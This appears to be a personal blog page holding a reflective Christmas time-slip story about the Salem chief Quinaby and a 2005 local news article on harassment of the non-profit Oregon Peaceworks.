As I walked, I again heard the sounds of mean laughing and roaring, speaking in a strange and foreign language. I came to a clearing in the woods, and through the sparse Yew trees, I saw a structure of some sort. The building looked suspiciously like a gigantic ice cream cone, turned upside down, and smashed into the ground, with smoke gently rising from the tip of the cone. I recognized the building from high school history class as a Native American building called a "wickiup", though I'd never seen a real one before. I approached the building and the voices became louder. Just as I was coming from the rear of the building, I saw a man walking up a small path through the woods with a lantern in his hand. He marched directly to the front of the building and yelled, "Quinaby! Quinaby, damn you, come out here right now!" A small aging man, with long black hair and bright shining eyes, dressed in a hat and waistcoat, poked his head out of the door and said, "Hey, hey, Bill Waldo. Quinaby glad to see you. Why you here on such a cold night?"

"Mr. Quinaby, you are too loud! My family and I are trying to sleep. You and your no-good tribe of gambling drunks are making such a racket, it'll wake the dead! Now quiet down, or I'll get the police!"

The little man straightened up and said, "Bill Waldo, this is a special night for celebration. Quinaby always noisy on this night. Go home. Go to sleep. It is too cold for arguing. "

Bill's lantern flickered in the wind, and he said, "I don't have to let you stay on my land Quinaby. In fact, I think it's time you leave."

Quinaby stood tall and proud, like a statue. If was a scene fit for the brush of a great painter, and the lines that followed should be recorded in history books everywhere.

Quinaby said, "Bill Waldo, you say Quinaby can no more have his camp! When white men came, they were few, Indians were many. Now white men many, Indians few. When white men came, Indians owned all the land. Now white men claim all the land, and Indians must herd into one place, and hide back in the mountains. When the white men came, Indians could kill them all. Some wanted to kill them, but Quinaby became white man's friend. He told the white men what Indians planned. He told Dan Waldo, and Bill Waldo. They were glad. Quinaby had their thanks.

"Now Quinaby comes. He wants only what he has had, only what has been his right. Quinaby wants only his camp on a little piece of land no one else has a use for.

"Bill Waldo, you say Quinaby may not have it any more!" Waldo could not resist. He turned without a word, and started down the path to his home. Quinaby went back inside and the gambling went on, and the chant, "Hoia hai, Hoia hai..." went ringing across the area.

I was a little nervous, but desperate, as I crept around the side of the building, and stuck my head in the door. Four Indians turned in unison, instantly quiet, palming the small sticks in their hands.

"Mr. Quinaby, can you help me?", I said quickly, hoping to engage in conversation before my chest sprouted an arrow. Quinaby's thin laughter wheezed out and ended in a serious bout of coughing. He looked at me and said, "I like it when men say Mr. Quinaby. What do you want white man in the snow?"

"I am lost. Can you please help me find my way back to the city?"

Quinaby peered at me through wrinkled eyes for a moment. Finally he said, "You look very sick. Quinaby does not want you to die at his camp. Other white men will blame me. Come inside. Sit by the fire. "

I walked inside slowly, and the steady hard eyes of the men around the fire held me firmly in their gaze. They moved a little and made a space for me to sit down. Quinaby walked to the back of the room, and returned shortly with a plate of meat and some bread.

"Eat this. Today is a special day. Today we have much food."

I thanked him and took the plate. I did not realize how hungry I had become until the warm and rich aroma of the meat tickled my nostrils. As I began to eat, Quinaby quietly muttered something in a strange language and the other men stood up, made a sign of respect, and left the building.

Quinaby sat staring at me while I ate. After a few minutes, he said, "Your clothes are very strange. I do not know you. What is your name, and where are you from?"

"My name is John," I replied, "and I live in Salem."

Quinaby nodded once and said, "Ok, John. Finish your food, and we will go to Salem."

After I cleared my plate, Quinaby walked over with two hand woven blankets in his hand, gave me one, and said, "Wear this!", then wrapped his blanket around himself. I did the same, and as he walked towards the door he said, "Follow me."

We headed down the thin path through the Yew trees, while a light flurry of snow fell all around us, our feet crunching as we walked.

I am not a very social person usually, but the silence was making me a little nervous, so I asked, "What tribe are you from, Mr. Quinaby?"

Quinaby chuckled to himself and said, "Molalla. Quinaby is the last chief. My mother was Chemewa, and my father was Chemeketa. We are all Kalapuya". He was quiet for a moment, but then shook his head and said, "When Quinaby was a little boy, all the Kalapuya familes would meet at this time of year. Where the creek meets the river. We would share food, tell stories, and laugh by the fire. Sometimes, there would be very little food. One year, half the people died. Now that time is gone. White men came, and now there are buildings in that place. Many Indians died from sickness the white men bring. Now Indians very few. White men give me some food, so Quinaby is white man's friend".

After some time, we came across a small house with glowing windows and smoke coming from the chimney. Quinaby said, "Wait here, Mr. John. I will go get some more food".

He walked up to the house, knocked on the door, and then disappeared inside. A few minutes later, he came crunching back through the snow with a bulging flour sack over his shoulder, and a huge grin on his face.

We started down the road again, and before long the road widened and a number of buildings lined the street on either side. Finally, we came to a small town. To my surprise, I recognized the street names. This was Salem, but not the Salem I knew. There were very few buildings and many trees. The roads were made of dirt, and there were no street lights. After a while we came to the intersection of Winter Street and Mill Creek, where I had fallen earlier that night.

Quinaby could see my confusion and said, "Yes, it is very different here now. Let's sit down and eat".

We climbed down to the muddy shore of the creek and sat down. We ate and ate, and talked and talked. Quinaby told me many stories. He told me of the special "Chikamin House", where white men can go to get free money. He told me of a man named Kylus who had married his sister, bore three children with her, and then killed her. Quinaby said, "I wanted to cut him into four quarters, and hang him on each corner of the town, but instead, I go to his house, and take everything he own". He told me of rivers full of salmon and forests full of deer. He told me of the long march to Grand Ronde Reservation.

Finally, our sack of food was empty. He stopped talking, laid back and fell asleep. I yawned and felt the warmth of my blanket, my full stomach, and I laid down and drifted away.

I awoke with a start to a nudge in the side, and a light flashing in my eyes.

"You ok there, mister?"

I looked up to the familiar face of a police officer, and realized I was slumped against the rail of the bridge. I got up, mumbled that I was fine, thanks, and headed down the road.

I am still unsure whether the events I experienced were a dream, or something more mysterious, but now, as I sit and write this story, on a lonely Christmas Day, I think about Quinaby and the people who lived here long before. If Quinaby were alive today and knew someone was going to be writing about him, would he have tried to live a better life? What makes a chief become a beggar, gambling, drinking, and eating until he fell down dead by the side of the creek? And I wonder why, 120 years later, the only memory we have of this man is a train station and a street with his name on them. His modern descendents, living in trailer homes and running casinos, are not so different than he was. When a way of life is destroyed, there is no way to bring it back. But in a way, Quinaby was still living in the same way he always had. He was living off the land, but now there were strange fruit in the form of white men. He picked fruit from their plentiful trees and tried to avoid the poisonous parts. Bill Waldo knew the shame of what his people had done, because he saw it first hand.

So now, during this season of giving, I feel strangely aware of everything I have, and what was necessary to obtain it.

Thank you, Chief Quinaby, for a memorable Christmas Eve, full of laughter, food, good conversation, and the enjoyment of life despite all odds. I hope that everyone can be so lucky during this coming winter season.

No Peace For Peace Workers: Local Non-Profit suffers on-going harassment

2005-12-13T00:00:00+00:00

Note: This article originally written for the Salem Monthly Newspaper

Oregon Peaceworks is a local non-profit organization who's stated mission is "to educate and activate people to work for peace, justice, and environmental protection". For many years Oregon Peaceworks has boldly addressed such complicated and controversial topics as war, militarism, nuclear weaponry, the devastating effects of nuclear waste on the environment, and have provided valuable guidance for those wishing to live in a more peaceful and environmentally friendly manner. From their downtown office on the corner of Commercial and State, Executive Director Peter Bergel organizes these efforts into a variety of projects ranging from peaceful demonstrations to their monthly newspaper 'The Peaceworker'. Unfortunately, by being such vocal challengers on the political stage, they have become a target for the opposition. Since the beginning of this year, their offices have been victim to increasing harassment by means of property destruction, vandalism, and even a personal attack.

These incidents started out fairly mildly. The staff noticed that the newsstand in front of the office would become empty very quickly. Upon inspection, the missing newspapers were found stuffed into the public trashcan on the corner. At the time, they took it in stride, and solved the problem by placing only a few copies at a time in the newsstand.

A few months later, their attackers raised the stakes by jamming the padlock on the gate that protects the stairwell leading to their second floor offices. This happened two times and on the third incident, the criminals even added their own lock and chain to the gate. After cutting the chain, Peter called the police, filed a report, and turned over the evidence for fingerprinting.

Shortly thereafter, a new kind of attack was directed against these peaceful people. They were in the habit of storing the stacks of newspapers inside the locked stairwell prior to distribution. Late at night someone threw plastic bags filled with urine over the gate, splashing the stacks of papers and the stairs with human waste. They destroyed over a thousand newspapers and created a foul and unsanitary mess that required a lot of cleanup. This was a big blow to a non-profit organization with a very limited budget. They filed another police report and with the help of a generous donation by a staff member, re-printed the damaged papers. After that, they stored the newspapers inside the building.

A few months went by without further incident, and by November 1st, they felt comfortable storing the newspapers on the stairs again. The first night the papers were outside, the attack was repeated, and hundreds more papers were destroyed. But that wasn't enough. The thugs took it to the next level and choose to attack Director Peter Bergel directly.

That same morning, while cleaning up the destroyed newspapers at the office, Peter got a call from home. Someone had placed pieces of plywood, with sharp nails protruding from them, behind each tire of his car, obscured under piles of leaves. Fortunately, Peter had gone to work by bike that morning, so the spikes were removed before any damage occurred.

More police reports have been filed, and the cases are currently under investigation, but at this time, there is no information available about possible suspects. When we contacted the Salem Police Department about these cases, they were unavailable for comment. Meanwhile, Peter checks his car every day, and the newspapers are back inside the office.

"It's a sad day when someone as nice as Peter and the other members of Oregon Peaceworks become victims of politically driven hate crimes. They are only exercising their constitutional right to freedom of speech. If you don't agree with them, don't destroy their newspapers, print your own! It's just childish." says Adrianna Sutton, an employee of the Oregon Department of Foresty, "It doesn't matter what side of the political fence you're on, criminal behavior is never acceptable. But what can we expect? The enemies of peace have never played fair."

Concerned citizens may contact Detective Marty Miranda at the Salem Police Department, (503) 588-6050 ext. 7051. The case numbers for these incidents are: 05-8288, 05-25915, 05-51883, and 05-52578.

For more information about Oregon Peaceworks or their newspaper 'The Peaceworker', please visit http://www.oregonpeaceworks.org or call (503) 585-2767.

Lounge Scene

Lounge Scene

Lounge Scene

Lounge Scene

Lounge Scene

Lounge Scene

Lounge Scene

Lounge Scene

Lounge Scene

Lounge Scene

Archive

Lounge Scene

Lounge Scene

Lounge Scene

Lounge Scene

Documentation Considered Harmful

Background

What Problem Does Documentation Solve?

The Problem Of Docs

A Better Way: Distributed Direct Communication

Does It Scale?

Conclusion

Scaling a TechDocs Team from 1 to 100 (Part 3)

Further Discussion

Problems with Mentorship

Shouldn't We Allocate More Resources to Writing vs Mentorship?

Conclusion

Scaling a TechDocs Team from 1 to 100 (Part 2)

How to Grow a TechDocs Team

Team Size: 0

Team Size: 1-5

1: An Army Of One

2: Two Minds Are Better Than One

3: Three's Company Too

4, 5: Do More With Less

Team Size: 6-11

6: Coordination and Management

11: We Need Some Structure

Team Size: 12-20

Team Size: 20-100

Next: Discussion

Scaling a TechDocs Team from 1 to 100 (Part 1)

A Scalable Strategy for TechDocs

#WriteTheDocs

Mentorship

Engaging with Engineering Teams

Assigning a Documentation DRI

Put A Number On It

Wrapping It Up

Option: Embedding on a Team

Doc Days: Company-Wide Mentorship Events

Platform and Policy

Policy

Guidance

Tools

Next Step: Growing Your Team

Metrics Case Study: Total Time Reading (TTR)

Definition and Implementation of TTR

Interpreting the Data

Conclusion

Contemporary TechDocs

TechDocs: A Mission Statement

Four Factors for TechDocs Organizations

#Discovery

#Consistency

#Culture

#WriteTheDocs

Measuring TechDocs

Things We Can Measure

Documentation Health

Conclusion

Take It Easy

#FridayDonation

Alcohol and Activism

Donations as Inactive Activism

Sharing is Caring

My Principle

No One Should Ever Feel Like They Can't Do Something

Growing Up

A Sense of Possibility